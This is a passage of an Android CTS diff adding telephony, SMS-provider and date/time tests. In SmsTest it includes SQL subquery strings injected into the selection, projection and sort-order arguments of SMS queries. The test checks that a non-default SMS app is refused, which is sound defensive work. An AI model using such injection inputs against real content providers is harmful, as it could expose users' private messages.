 import android.os.Parcel;
@@ -54,6 +57,8 @@
 import android.util.Log;
 import android.util.Pair;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
 import org.junit.Test;
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsCbLocationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbLocationTest.java
new file mode 100644
index 0000000..69c851f
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsCbLocationTest.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.SmsCbLocation;
+
+import org.junit.Test;
+
+public class SmsCbLocationTest {
+    @Test
+    public void testSmsCbLocation() throws Throwable {
+        SmsCbLocation cbLocation = new SmsCbLocation("94040", 1234, 5678);
+        assertEquals("94040", cbLocation.getPlmn());
+        assertEquals(1234, cbLocation.getLac());
+        assertEquals(5678, cbLocation.getCid());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 403ef32..c272764 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -440,6 +440,9 @@
 
     @Test
     public void testContentProviderAccessRestriction() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         Uri dummySmsUri = null;
         Context context = getInstrumentation().getContext();
         ContentResolver contentResolver = context.getContentResolver();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 9950386..c9e5ef4 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -134,21 +134,25 @@
     }
 
     /**
-     * Sanity check that the device has a cellular network and a valid default data subId
-     * when {@link PackageManager#FEATURE_TELEPHONY} support.
+     * Sanity check that both {@link PackageManager#FEATURE_TELEPHONY} and
+     * {@link NetworkCapabilities#TRANSPORT_CELLULAR} network must both be
+     * either defined or undefined; you can't cross the streams.
      */
     @Test
     public void testSanity() throws Exception {
-        if (!isSupported()) return;
-
         final boolean hasCellular = findCellularNetwork() != null;
-        if (!hasCellular) {
+        if (isSupported() && !hasCellular) {
             fail("Device claims to support " + PackageManager.FEATURE_TELEPHONY
                     + " but has no active cellular network, which is required for validation");
+        } else if (!isSupported() && hasCellular) {
+            fail("Device has active cellular network, but claims to not support "
+                    + PackageManager.FEATURE_TELEPHONY);
         }
 
-        if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            fail("Device must have a valid default data subId for validation");
+        if (isSupported()) {
+            if (mSubId == SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+                fail("Device must have a valid default data subId for validation");
+            }
         }
     }
 
@@ -337,6 +341,49 @@
     }
 
     @Test
+    public void testSubscriptionPlansUnmetered() throws Exception {
+        if (!isSupported()) return;
+
+        final ConnectivityManager cm = InstrumentationRegistry.getContext()
+                .getSystemService(ConnectivityManager.class);
+        final Network net = findCellularNetwork();
+        assertNotNull("Active cellular network required", net);
+
+        // Make ourselves the owner and define some plans
+        setSubPlanOwner(mSubId, mPackageName);
+        mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+
+        // Cellular is metered by default
+        assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
+
+        SubscriptionPlan unmeteredPlan = SubscriptionPlan.Builder
+                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+                        Period.ofMonths(1))
+                .setTitle("CTS")
+                .setDataLimit(SubscriptionPlan.BYTES_UNLIMITED,
+                        SubscriptionPlan.LIMIT_BEHAVIOR_THROTTLED)
+                .build();
+
+        // Unmetered plan should make it go unmetered
+        {
+            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+                return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
+            });
+            mSm.setSubscriptionPlans(mSubId, Arrays.asList(unmeteredPlan));
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        }
+
+        // Metered plan should make it go metered
+        {
+            final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
+                return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
+            });
+            mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
+            assertTrue(latch.await(10, TimeUnit.SECONDS));
+        }
+    }
+
+    @Test
     public void testSubscriptionPlansInvalid() throws Exception {
         if (!isSupported()) return;
 
@@ -378,6 +425,49 @@
     }
 
     @Test
+    public void testSubscriptionPlansNetworkTypeValidation() throws Exception {
+        if (!isSupported()) return;
+
+        // Make ourselves the owner
+        setSubPlanOwner(mSubId, mPackageName);
+
+        // Error when adding 2 plans with the same network type
+        List<SubscriptionPlan> plans = new ArrayList<>();
+        plans.add(buildValidSubscriptionPlan());
+        plans.add(SubscriptionPlan.Builder
+                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+                        Period.ofMonths(1))
+                .setTitle("CTS")
+                .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
+                .build());
+        plans.add(SubscriptionPlan.Builder
+                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+                        Period.ofMonths(1))
+                .setTitle("CTS")
+                .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
+                .build());
+        try {
+            mSm.setSubscriptionPlans(mSubId, plans);
+            fail();
+        } catch (IllegalArgumentException expected) {
+        }
+
+        // Error when there is no general plan
+        plans.clear();
+        plans.add(SubscriptionPlan.Builder
+                .createRecurring(ZonedDateTime.parse("2007-03-14T00:00:00.000Z"),
+                        Period.ofMonths(1))
+                .setTitle("CTS")
+                .setNetworkTypes(new int[] {TelephonyManager.NETWORK_TYPE_LTE})
+                .build());
+        try {
+            mSm.setSubscriptionPlans(mSubId, plans);
+            fail();
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    @Test
     public void testSubscriptionGrouping() throws Exception {
         if (!isSupported()) return;
 
@@ -405,12 +495,12 @@
         }
 
         // Add into subscription group that doesn't exist. This should fail
-        // with IllegalArgumentException.
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
         try {
             ParcelUuid groupUuid = new ParcelUuid(UUID.randomUUID());
             mSm.addSubscriptionsIntoGroup(subGroup, groupUuid);
             fail();
-        } catch (IllegalArgumentException expected) {
+        } catch (SecurityException expected) {
         }
 
         // Remove from subscription group with current sub Id. This should fail
@@ -466,6 +556,32 @@
     }
 
     @Test
+    public void testAddSubscriptionIntoNewGroupWithPermission() throws Exception {
+        if (!isSupported()) return;
+
+        // Set subscription group with current sub Id.
+        List<Integer> subGroup = new ArrayList();
+        subGroup.add(mSubId);
+        ParcelUuid uuid = new ParcelUuid(UUID.randomUUID());
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                (sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
+
+        // Getting subscriptions in group.
+        List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
+        assertNotNull(infoList);
+        assertEquals(1, infoList.size());
+        assertEquals(uuid, infoList.get(0).getGroupUuid());
+
+        // Remove from subscription group with current sub Id.
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
+
+        infoList = mSm.getSubscriptionsInGroup(uuid);
+        assertNotNull(infoList);
+        assertTrue(infoList.isEmpty());
+    }
+
+    @Test
     public void testSettingOpportunisticSubscription() throws Exception {
         if (!isSupported()) return;
 
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index c16be26..1e1a073 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -459,7 +459,7 @@
         mTelephonyManager.getPhoneCount();
         mTelephonyManager.getDataEnabled();
         mTelephonyManager.getNetworkSpecifier();
-        mTelephonyManager.getNai();
+        ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager, (tm) -> tm.getNai());
         TelecomManager telecomManager = getContext().getSystemService(TelecomManager.class);
         PhoneAccountHandle defaultAccount = telecomManager
                 .getDefaultOutgoingPhoneAccount(PhoneAccount.SCHEME_TEL);
@@ -2013,6 +2013,67 @@
         }
     }
 
+    @Test
+    public void testGetCarrierInfoForImsiEncryption() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // test without permission: verify SecurityException
+        try {
+            mTelephonyManager.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG);
+            fail("testGetCarrierInfoForImsiEncryption: "
+                    + "SecurityException expected on getCarrierInfoForImsiEncryption");
+        } catch (SecurityException se) {
+            // expected
+        }
+        try {
+            mTelephonyManager.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN);
+            fail("testGetCarrierInfoForImsiEncryption: "
+                    + "SecurityException expected on getCarrierInfoForImsiEncryption");
+        } catch (SecurityException se) {
+            // expected
+        }
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_EPDG));
+        } catch (SecurityException se) {
+            fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
+        } catch (IllegalArgumentException iae) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    (tm) -> tm.getCarrierInfoForImsiEncryption(TelephonyManager.KEY_TYPE_WLAN));
+        } catch (SecurityException se) {
+            fail("testGetCarrierInfoForImsiEncryption: SecurityException not expected");
+        } catch (IllegalArgumentException iae) {
+            // IllegalArgumentException is okay, just not SecurityException
+        }
+    }
+
+    @Test
+    public void testResetCarrierKeysForImsiEncryption() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        // test without permission: verify SecurityException
+        try {
+            mTelephonyManager.resetCarrierKeysForImsiEncryption();
+            fail("testResetCarrierKeysForImsiEncryption: SecurityException expected");
+        } catch (SecurityException se) {
+            // expected
+        }
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.resetCarrierKeysForImsiEncryption());
+        } catch (SecurityException se) {
+            fail("testResetCarrierKeysForImsiEncryption: SecurityException not expected");
+        }
+    }
+
     /**
      * Validate Emergency Number address that only contains the dialable character.
      *
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
new file mode 100644
index 0000000..caf9b4c
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.PackageManager;
+import android.util.ArraySet;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Test;
+
+public class TelephonyPermissionPolicyTest {
+    private static final ArraySet<String> KNOWN_TELEPHONY_PACKAGES;
+
+    static {
+        KNOWN_TELEPHONY_PACKAGES = new ArraySet<>();
+        KNOWN_TELEPHONY_PACKAGES.add("com.android.phone");
+        KNOWN_TELEPHONY_PACKAGES.add("com.android.stk");
+        KNOWN_TELEPHONY_PACKAGES.add("com.android.providers.telephony");
+        KNOWN_TELEPHONY_PACKAGES.add("com.android.ons");
+        KNOWN_TELEPHONY_PACKAGES.add("com.android.cellbroadcastservice");
+    }
+
+    @Test
+    public void testIsTelephonyPackagesKnown() {
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+        final String[] configuredTelephonyPackages = pm.getTelephonyPackageNames();
+        // make sure only known system telephony apks are configured which will be granted special
+        // permissions.
+        for (String packageName : configuredTelephonyPackages) {
+            assertTrue(KNOWN_TELEPHONY_PACKAGES.contains(packageName));
+        }
+    }
+}
diff --git a/tests/tests/telephony2/OWNERS b/tests/tests/telephony2/OWNERS
index 7c8e7d8..f4921e0 100644
--- a/tests/tests/telephony2/OWNERS
+++ b/tests/tests/telephony2/OWNERS
@@ -1,5 +1,2 @@
 # Bug component: 20868
-rgreenwalt@google.com
-jackyu@google.com
-tgunn@google.com
-amitmahajan@google.com
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony3/OWNERS b/tests/tests/telephony3/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telephony3/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java b/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
index cd960b8..57f2e9b 100644
--- a/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony3/src/android/telephony3/cts/TelephonyManagerTest.java
@@ -23,7 +23,6 @@
 import android.content.Context;
 import android.os.Build;
 import android.telephony.TelephonyManager;
-import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -76,6 +75,10 @@
                     "An app targeting pre-Q with the READ_PHONE_STATE permission granted must "
                             + "receive null when invoking getSimSerialNumber",
                     mTelephonyManager.getSimSerialNumber());
+            assertNull(
+                    "An app targeting pre-Q with the READ_PHONE_STATE permission granted must "
+                            + "receive null when invoking getNai",
+                    mTelephonyManager.getNai());
             // Since Build.getSerial is not documented to return null in previous releases this test
             // verifies that the Build.UNKNOWN value is returned when the caller does not have
             // permission to access the device identifier.
diff --git a/tests/tests/telephony4/OWNERS b/tests/tests/telephony4/OWNERS
index 5617896..3a905dd 100644
--- a/tests/tests/telephony4/OWNERS
+++ b/tests/tests/telephony4/OWNERS
@@ -1,2 +1,4 @@
 # Bug component: 20868
-yinxu@google.com
\ No newline at end of file
+include ../telephony/OWNERS
+
+yinxu@google.com
diff --git a/tests/tests/telephonyprovider/OWNERS b/tests/tests/telephonyprovider/OWNERS
index 92458db..7f7694d 100644
--- a/tests/tests/telephonyprovider/OWNERS
+++ b/tests/tests/telephonyprovider/OWNERS
@@ -1,12 +1,3 @@
-amitmahajan@google.com
-fionaxu@google.com
-jackyu@google.com
-rgreenwalt@google.com
-refuhoo@google.com
-mpq@google.com
-jminjie@google.com
-shuoq@google.com
-hallliu@google.com
-tgunn@google.com
-breadley@google.com
-nazaninb@google.com
+# Bug component: 450841
+include ../telephony/OWNERS
+lelandmiller@google.com
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
index 3f85f84..75f7009 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
@@ -70,6 +70,38 @@
         }
     }
 
+    static void stopBeingDefaultSmsApp() {
+        Context context = ApplicationProvider.getApplicationContext();
+
+        String packageName = context.getPackageName();
+        RoleManager roleManager = context.getSystemService(RoleManager.class);
+        Executor executor = context.getMainExecutor();
+        UserHandle user = Process.myUserHandle();
+
+        CountDownLatch latch = new CountDownLatch(1);
+        boolean[] success = new boolean[1];
+
+        runWithShellPermissionIdentity(() -> {
+            roleManager.removeRoleHolderAsUser(
+                    RoleManager.ROLE_SMS,
+                    packageName,
+                    RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP,
+                    user,
+                    executor,
+                    successful -> {
+                        success[0] = successful;
+                        latch.countDown();
+                    });
+        });
+
+        try {
+            latch.await();
+            assertTrue(success[0]);
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(ex.getMessage());
+        }
+    }
+
     static void assumeTelephony() {
         Assume.assumeTrue(hasTelephony());
     }
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
index 7831bb5..d3fca8a 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
@@ -20,6 +20,8 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertNull;
+
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.database.Cursor;
@@ -279,5 +281,48 @@
                 String.valueOf(testSmsBodyEmoji));
     }
 
+    /**
+     * Verifies that subqueries are not allowed with a restricted view
+     */
+    @Test
+    public void testSubqueryNotAllowed() {
+        Uri uri = mSmsTestHelper.insertTestSms(TEST_ADDRESS, TEST_SMS_BODY);
+        assertThat(uri).isNotNull();
+
+        DefaultSmsAppHelper.stopBeingDefaultSmsApp();
+        {
+            // selection
+            Cursor cursor1 = mContentResolver.query(Telephony.Sms.CONTENT_URI,
+                    null, "seen=(SELECT seen FROM sms LIMIT 1)", null, null);
+            assertNull(cursor1);
+            Cursor cursor2 = mContentResolver.query(Telephony.MmsSms.CONTENT_CONVERSATIONS_URI,
+                    null, "seen=(SELECT seen FROM sms LIMIT 1)", null, null);
+            assertNull(cursor2);
+        }
+
+        {
+            // projection
+            Cursor cursor1 = mContentResolver.query(Telephony.Sms.CONTENT_URI,
+                    new String[] {"(SELECT seen from sms LIMIT 1) AS d"}, null, null, null);
+            assertNull(cursor1);
+            Cursor cursor2 = mContentResolver.query(Telephony.MmsSms.CONTENT_CONVERSATIONS_URI,
+                    new String[] {"(SELECT seen from sms LIMIT 1) AS d"}, null, null, null);
+            assertNull(cursor2);
+        }
+
+        {
+            // sort order
+            Cursor cursor1 = mContentResolver.query(Telephony.Sms.CONTENT_URI,
+                    null, null, null,
+                    "CASE (SELECT count(seen) FROM sms) WHEN 0 THEN 1 ELSE 0 END DESC");
+            assertNull(cursor1);
+            Cursor cursor2 = mContentResolver.query(Telephony.MmsSms.CONTENT_CONVERSATIONS_URI,
+                    null, null, null,
+                    "CASE (SELECT count(seen) FROM sms) WHEN 0 THEN 1 ELSE 0 END DESC");
+            assertNull(cursor2);
+        }
+
+        DefaultSmsAppHelper.ensureDefaultSmsApp();
+    }
 }
 
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index 5f17b32..cb62639 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -20,6 +20,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
@@ -264,6 +265,17 @@
     }
 
     @Test
+    public void testIsBoringForEmptyString() {
+        Metrics metrics = new Metrics();
+        assertNotNull(BoringLayout.isBoring("", new TextPaint(), metrics));
+
+        // The default font Roboto has non-zero ascent/descent values. If metrics returns zeros, it
+        // means failed to retrieve the font metrics.
+        assertNotEquals(0, metrics.ascent);
+        assertNotEquals(0, metrics.descent);
+    }
+
+    @Test
     public void testIsBoring_resetsFontMetrics() {
         int someInt = 100;
         String text = "some text";
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index fc4ef5a..783f83d 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -29,6 +29,7 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -43,16 +44,25 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class DateUtilsTest {
+    private TimeZone mDefaultTimeZone;
     private long mBaseTime;
     private Context mContext;
 
     @Before
     public void setup() {
         mContext = InstrumentationRegistry.getTargetContext();
+        mDefaultTimeZone = TimeZone.getDefault();
+        // All tests in this class can assume the device time zone is set to GMT.
         TimeZone.setDefault(TimeZone.getTimeZone("GMT"));
         mBaseTime = System.currentTimeMillis();
     }
 
+    @After
+    public void tearDown() {
+        // Set the default time zone back to what it was before setup().
+        TimeZone.setDefault(mDefaultTimeZone);
+    }
+
     @Test
     public void testGetDayOfWeekString() {
         if (!LocaleUtils.isCurrentLocale(mContext, Locale.US)) {
@@ -249,9 +259,25 @@
 
     @Test
     public void testIsToday() {
-        final long ONE_DAY_IN_MS = 24 * 60 * 60 * 1000;
-        assertTrue(DateUtils.isToday(mBaseTime));
+        // This test assumes TimeZone.getDefault() returns GMT. See setup() and comments below for
+        // details.
+
+        final int ONE_HOUR_IN_MS = 60 * 60 * 1000;
+        final int ONE_DAY_IN_MS = 24 * ONE_HOUR_IN_MS;
+
+        // mBaseTime < System.currentTimeMillis(), so subtracting 24 hours is guaranteed to
+        // be yesterday because this test uses GMT, i.e. no DST to consider.
         assertFalse(DateUtils.isToday(mBaseTime - ONE_DAY_IN_MS));
+
+        // We can assume mBaseTime is within a few seconds of the current system clock so adding
+        // one day plus one hour is more than sufficient to ensure isToday() == false.
+        assertFalse(DateUtils.isToday(mBaseTime + ONE_DAY_IN_MS + ONE_HOUR_IN_MS));
+
+        // This assertion is flaky because the method under test uses the system clock. If mBaseTime
+        // is set just before midnight (GMT) and isToday() is run just after midnight (GMT), this
+        // assertion will fail.
+        assertTrue("mBaseTime=" + mBaseTime + ", System.currentTimeMillis() after failure="
+                + System.currentTimeMillis(), DateUtils.isToday(mBaseTime));
     }
 
     @Test
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index ad5c3bf..aecf05b 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -37,10 +37,14 @@
 
 import java.time.Duration;
 import java.time.Instant;
+import java.time.LocalDate;
 import java.time.LocalDateTime;
+import java.time.LocalTime;
 import java.time.Month;
 import java.time.ZoneId;
+import java.time.ZoneOffset;
 import java.time.temporal.ChronoUnit;
+import java.time.temporal.JulianFields;
 import java.time.zone.ZoneOffsetTransition;
 import java.time.zone.ZoneRules;
 import java.util.ArrayList;
@@ -221,11 +225,44 @@
 
     @Test
     public void testIsEpoch() {
-        Time time = new Time();
+        // Create a Time that uses UTC to provide a behavior baseline.
+        Time time = new Time(Time.TIMEZONE_UTC);
+
+        // Time is initialized to 1970-01-01 00:00:00
         assertTrue(Time.isEpoch(time));
-        time.set(1, 2, 1970);
+
+        // 1970-01-01 23:59:59
+        checkIsEpochResult(time, 1970, 0 /* Jan */, 1, 23, 59, 59, true);
+
+        // 1970-01-02 00:00:00
+        checkIsEpochResult(time, 1970, 0 /* Jan */, 2, 0, 0, 0, false);
+
+        // 1969-12-31 23:59:59
+        checkIsEpochResult(time, 1969, 11 /* Dec */, 31, 23, 59, 59, false);
+
+        // Now demonstrate that the isEpoch() method just checks against the Julian day
+        // calculated for UTC. America/Los_Angeles is UTC-8 so all times have to be adjusted
+        // by 8 hours.
+        time.timezone = "America/Los_Angeles";
+
+        // 1969-12-31 15:59:59 == 1969-12-31 23:59:59 in UTC
+        checkIsEpochResult(time, 1969, 11 /* Dec */, 31, 15, 59, 59, false);
+
+        // 1969-12-31 16:00:00 == 1970-01-01 00:00:00 in UTC
+        checkIsEpochResult(time, 1969, 11 /* Dec */, 31, 16, 0, 0, true);
+
+        // 1970-01-01 15:59:59 == 1970-01-01 23:59:59 in UTC
+        checkIsEpochResult(time, 1970, 0 /* Jan */, 1, 15, 59, 59, true);
+
+        // 1970-01-01 16:00:00 == 1970-01-02 00:00:00 in UTC
+        checkIsEpochResult(time, 1970, 0 /* Jan */, 1, 16, 0, 0, false);
+    }
+
+    private void checkIsEpochResult(Time time, int year, int month, int monthDay, int hour,
+            int minute, int second, boolean expectedIsEpoch) {
+        time.set(second, minute, hour, monthDay, month, year);
         time.normalize(false);
-        assertFalse(Time.isEpoch(time));
+        assertEquals(expectedIsEpoch, Time.isEpoch(time));
     }
 
     @Test
@@ -1913,50 +1950,71 @@
         "Pacific/Midway",
     };
 
+    /**
+     * This test uses java.time classes to construct test times so that it can test various years
+     * including those outside of the int32 seconds range.
+     */
     @Test
     public void testGetJulianDay() {
-        Time time = new Time();
+        int[] years = { 2008, 1900, 1969, 2100 };
+        for (int year : years) {
+            for (String timeZone : mTimeZones) {
+                checkGetJulianDayForYearAndTimeZone(year, timeZone);
+            }
+        }
+    }
 
-        // For every 15th day of 2008, and for each of the timezones listed above,
-        // get the Julian day for 12am and then check that if we change the time we get the
-        // same Julian day. Note that one of the many problems with the Time class
-        // is its lack of error handling. If we accidentally hit a time that doesn't
-        // exist (because it was skipped by a daylight savings transition), rather than
-        // an error, you'll silently get 1970-01-01. We should @deprecate Time.
-        for (int monthDay = 1; monthDay <= 366; monthDay += 15) {
-            for (int zoneIndex = 0; zoneIndex < mTimeZones.length; zoneIndex++) {
-                // We leave the "month" as zero because we are changing the
-                // "monthDay" from 1 to 366. The call to normalize() will
-                // then change the "month" (but we don't really care).
-                time.set(0, 0, 12, monthDay, 0, 2008);
-                time.timezone = mTimeZones[zoneIndex];
-                long millis = time.normalize(true);
-                if (zoneIndex == 0) {
-                    Log.i(TAG, time.format("%B %d, %Y"));
-                }
+    private static void checkGetJulianDayForYearAndTimeZone(int year, String timeZone) {
+        final LocalTime midday = LocalTime.of(12, 0);
 
-                // This is the Julian day for 12pm for this day of the year
-                int julianDay = Time.getJulianDay(millis, time.gmtoff);
+        // For every 15th day of the year get the Julian day for 12pm and then check that if we
+        // change the time we get the same Julian day.
+        final LocalDate startDate = LocalDate.of(year, Month.JANUARY, 1);
+        final LocalDate stopDate = startDate.plusYears(1);
+        for (LocalDate testDate = startDate; testDate.isBefore(stopDate);
+                testDate = testDate.plusDays(15)) {
 
-                // Change the time during the day and check that we get the same
-                // Julian day.
-                for (int hour = 0; hour < 24; hour++) {
-                    for (int minute = 0; minute < 60; minute += 15) {
-                        time.set(0, minute, hour, monthDay, 0, 2008);
-                        millis = time.normalize(true);
-                        if (millis == -1) {
-                            // millis == -1 means the wall time does not exist in the chosen
-                            // timezone due to a DST change. We cannot calculate a JulianDay for -1.
-                            continue;
-                        }
+            LocalDateTime middayLocalDateTime = LocalDateTime.of(testDate, midday);
+            ZoneOffset middayOffset = ZoneId.of(timeZone).getRules().getOffset(middayLocalDateTime);
+            Instant middayInstant = middayLocalDateTime.toInstant(middayOffset);
 
-                        int day = Time.getJulianDay(millis, time.gmtoff);
-                        assertEquals("Julian day: " + day + " at time "
-                                + time.hour + ":" + time.minute
-                                + " != today's Julian day: " + julianDay
-                                + " timezone: " + time.timezone, day, julianDay);
-                    }
-                }
+            // Record the Julian day for the date/time given. Since we want to know the local
+            // calendar date we have to provide the time zone's UTC offset too.
+            int middayJulianDay =
+                    Time.getJulianDay(middayInstant.toEpochMilli(), middayOffset.getTotalSeconds());
+
+            // Check Time.getJulianDay() agrees with java.time's Julian day calculations.
+            assertEquals(middayJulianDay, JulianFields.JULIAN_DAY.getFrom(middayLocalDateTime));
+
+            checkGetJulianDayVariousTimes(timeZone, testDate);
+        }
+    }
+
+    private static void checkGetJulianDayVariousTimes(String timeZone, LocalDate testDate) {
+        long expectedJulianDay = JulianFields.JULIAN_DAY.getFrom(testDate);
+
+        // Change the time during the day and check that we get the same Julian day as the one
+        // for midday.
+        for (int hour = 0; hour < 24; hour++) {
+            for (int minute = 0; minute < 60; minute += 15) {
+                LocalTime localTime = LocalTime.of(hour, minute);
+                LocalDateTime localDateTime = LocalDateTime.of(testDate, localTime);
+                ZoneOffset localDateTimeOffset =
+                        ZoneId.of(timeZone).getRules().getOffset(localDateTime);
+                Instant instant = localDateTime.toInstant(localDateTimeOffset);
+                long millis = instant.toEpochMilli();
+
+                // Find the Julian day for the date/time by supplying the offset. Since we want
+                // to know the local calendar date we have to provide the UTC offset too.
